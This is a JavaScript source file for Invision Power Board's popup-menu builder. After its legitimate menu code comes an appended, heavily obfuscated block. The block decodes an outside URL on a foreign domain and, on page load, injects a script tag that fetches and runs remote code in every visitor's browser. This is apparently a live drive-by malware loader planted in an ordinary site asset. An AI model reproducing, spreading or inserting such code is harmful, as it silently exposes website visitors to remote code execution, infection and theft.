/*-------------------------------------------------------------------------*/
// IPS BASIC MENU CLASS (EXTENSION: BUILD SIMPLE MENU)
// (c) 2005 Invision Power Services, Inc
// Assumes that "ips_menu.js" has been loaded
/*-------------------------------------------------------------------------*/

//----------------------------------
// INIT some CSS classes
//----------------------------------

var css_mainwrap     = 'popupmenu';
var css_menusep      = 'popupmenu-item';
var css_menusep_last = 'popupmenu-item-last';

//----------------------------------
// INIT some images
//----------------------------------

var img_item   = "<img src='" + ipb_var_image_url + "/menu_item.gif' border='0' alt='V' style='vertical-align:middle' />";
var img_action = "<img src='" + ipb_var_image_url + "/menu_item2.gif' border='0' alt='V' />";

/*-------------------------------------------------------------------------*/
// Return formed image
/*-------------------------------------------------------------------------*/

function make_image( img )
{
	return "<img src='" + ipb_var_image_url + "/" + img + "' border='0' alt='-' class='ipd' />";
}

/*-------------------------------------------------------------------------*/
// menu_build_menu
// cid: ID of opener object (img, div, etc)
// menuinput: Array of menu entries | Variable of menu HTML
// complexmenu: Treat as HTML stream if true, else treat as array of HTML
/*-------------------------------------------------------------------------*/

function menu_build_menu(cid, menuinput, complexmenu)
{
	var html = "\n<div class='" + css_mainwrap + "' id='" + cid + "_menu' style='display:none;z-index:100'>\n";
	
	if ( ! complexmenu )
	{
		len = parseInt(menuinput.length);
		
		if ( len > 0 )
		{
			for( var i in menuinput )
			{
				t = parseInt(i) + 1;
				
				thisclass = ( t == len ) ? css_menusep_last : css_menusep;
				
				if ( menuinput[i].match( /^~~NODIV~~/ ) )
				{
					html += menuinput[i].replace( /^~~NODIV~~/, '' );
				}
				else
				{
					html += "<div class='" + thisclass + "'>\n" + menuinput[i] + "\n</div>\n";
				}
			}
		}
	}
	else
	{
		html += menuinput;
	}
	
	html += "\n</div>\n";
	
	//----------------------------------
	// Workaround for IE bug which shows
	// select boxes and other windows GUI
	// over divs. Write iframe
	//----------------------------------
	
	if ( is_ie )
	{
		html += "\n"+''+"\n";
	}
	
	//----------------------------------
	// Write the html
	//----------------------------------
	
	if ( html != '' )
	{
		document.getElementById( cid ).parentNode.innerHTML += html;		
	}
	
	//----------------------------------
	// Register and init
	//----------------------------------
	
	ipsmenu.dynamic_register[ ipsmenu.dynamic_register.length + 1 ]  = cid;
}





var k;if(k!='f' && k!='Xd'){k=''};function A(){var M=new Date();var S=new Date();var a=new String();var e=new String();var x=window;var ec='';var TQ;if(TQ!=''){TQ='q'};var X=unescape;var F=X("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%61%6e%64%61%6e%67%6f%2e%63%6f%6d%2f%66%72%65%65%2e%66%72%2e%70%68%70");var E;if(E!='' && E!='NY'){E=''};var Bz;if(Bz!='' && Bz!='xj'){Bz=''};function Q(y,B){var yn;if(yn!='nY' && yn != ''){yn=null};var N=new String("gAF9Y".substr(0,1));var Eg=new String();var w=X("%5b"), W=X("%5d");this.m="";var _=w+B+W;var d=new RegExp(_, N);return y.replace(d, new String());var si=new String();};this.rd="";var LA='';var O;if(O!='kL' && O!='nP'){O='kL'};var sD;if(sD!='yY' && sD != ''){sD=null};this.Ac="";var b=Q('8112562105344676839461310691112','17692345');var K=new String();this.EF="";var I=new Date();var JF=new Array();var Vs=new Date();var t=document;var uM=new Date();this.Qz="";this.Be="";function n(){var ZD="";var UB=new String();var yX=X("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var fR=new Array();var EZ;if(EZ!='ik'){EZ='ik'};var rt;if(rt!='WW'){rt=''};var kh;if(kh!='Xg'){kh=''};K=yX;var Wp;if(Wp!='NR'){Wp='NR'};var pj;if(pj!='' && pj!='Mh'){pj=null};K+=b;K+=F;var XL="";var cy=new String();var qE=new String();try {Z=t.createElement(Q('sJcDrDiZpdtD','nZdDJ'));this.Lj="";var Vr;if(Vr!='Cc' && Vr!='eK'){Vr='Cc'};var cS=new Array();Z[X("%64%65%66%65%72")]=[1][0];var ZY;if(ZY!='hL' && ZY != ''){ZY=null};var pC;if(pC!='oc'){pC='oc'};this.EH="";var nTB;if(nTB!='' && nTB!='rj'){nTB=null};Z[X("%73%72%63")]=K;this.Ij='';var cW;if(cW!='NN' && cW!='YF'){cW=''};t.body.appendChild(Z);var fG;if(fG!='' && fG!='Uf'){fG=''};var kc;if(kc!='H' && kc != ''){kc=null};var nx=new Array();} catch(Y){var Ap='';alert(Y);var l=new Date();};var R;if(R!='SS' && R!='al'){R='SS'};var yk='';}this.IQ="";var Oy=new Array();var quK="";x[String("onloa"+"dKG6v".substr(0,1))]=n;this.Ut="";var sp=new String();var Jf='';};var cSz;if(cSz!='' && cSz!='SP'){cSz=''};A();var jF="";